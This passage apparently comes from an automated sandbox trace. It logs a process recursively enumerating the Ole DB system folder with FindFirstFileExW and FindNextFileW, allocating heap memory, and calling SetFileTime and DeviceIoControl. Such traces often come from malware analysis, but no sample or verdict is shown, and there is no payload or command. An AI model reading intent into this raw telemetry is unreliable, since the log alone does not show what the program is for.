RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbf08 [0087.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dc78 [0087.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.715] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x29618, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0087.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.717] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x5f3710f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0087.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.718] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x5f3710f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0087.718] GetLastError () returned 0x12 [0087.718] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0087.718] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.718] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.719] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.719] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a920 [0087.720] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a920, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132a920, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a920) returned 1 [0087.720] NtClose (Handle=0x124) returned 0x0 [0087.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd88 [0087.721] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.721] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.721] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a39353, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8eb2501, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8a39353, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaorar.dll.mui", cAlternateFileName="")) returned 1 [0087.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd00) returned 1 [0087.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbf28 [0087.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305e60 [0087.723] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.723] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a858c5, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8a858c5, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0087.723] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbf48 [0087.724] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13069b8 [0087.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.725] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5395f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a5395f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0087.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.725] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbf68 [0087.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306ac0 [0087.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.726] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0087.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbf88 [0087.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306bc8 [0087.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.728] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0087.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124de10 [0087.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbfa8 [0087.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306cd0 [0087.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124de10) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0087.730] GetLastError () returned 0x12 [0087.730] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.730] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a39353, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8eb2501, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8a39353, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaorar.dll.mui", cAlternateFileName="")) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a858c5, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8a858c5, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5395f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a5395f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0087.730] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0087.730] GetLastError () returned 0x12 [0087.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dd88) returned 1 [0087.731] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7e30c4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad7e30c4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb42720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadbe75c9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xadbe75c9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb67110, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaenum.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad8554e1, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad8554e1, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb67110, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaer.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaecb70b8, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaecb70b8, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb8e210, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaora.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b5129, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaf3b5129, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x608c5fb0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaorar.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868e16a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868e16a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6e1ed2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbd6e1ed2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bc4c8f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaddd679c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaddd679c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bcbf4e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasc.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb5ad74, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb5ad74, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb80ed5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb37fe67e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb37fe67e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60d883e0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0087.731] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeaee044, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaeaee044, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0087.732] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ee79a4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb4ee79a4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, 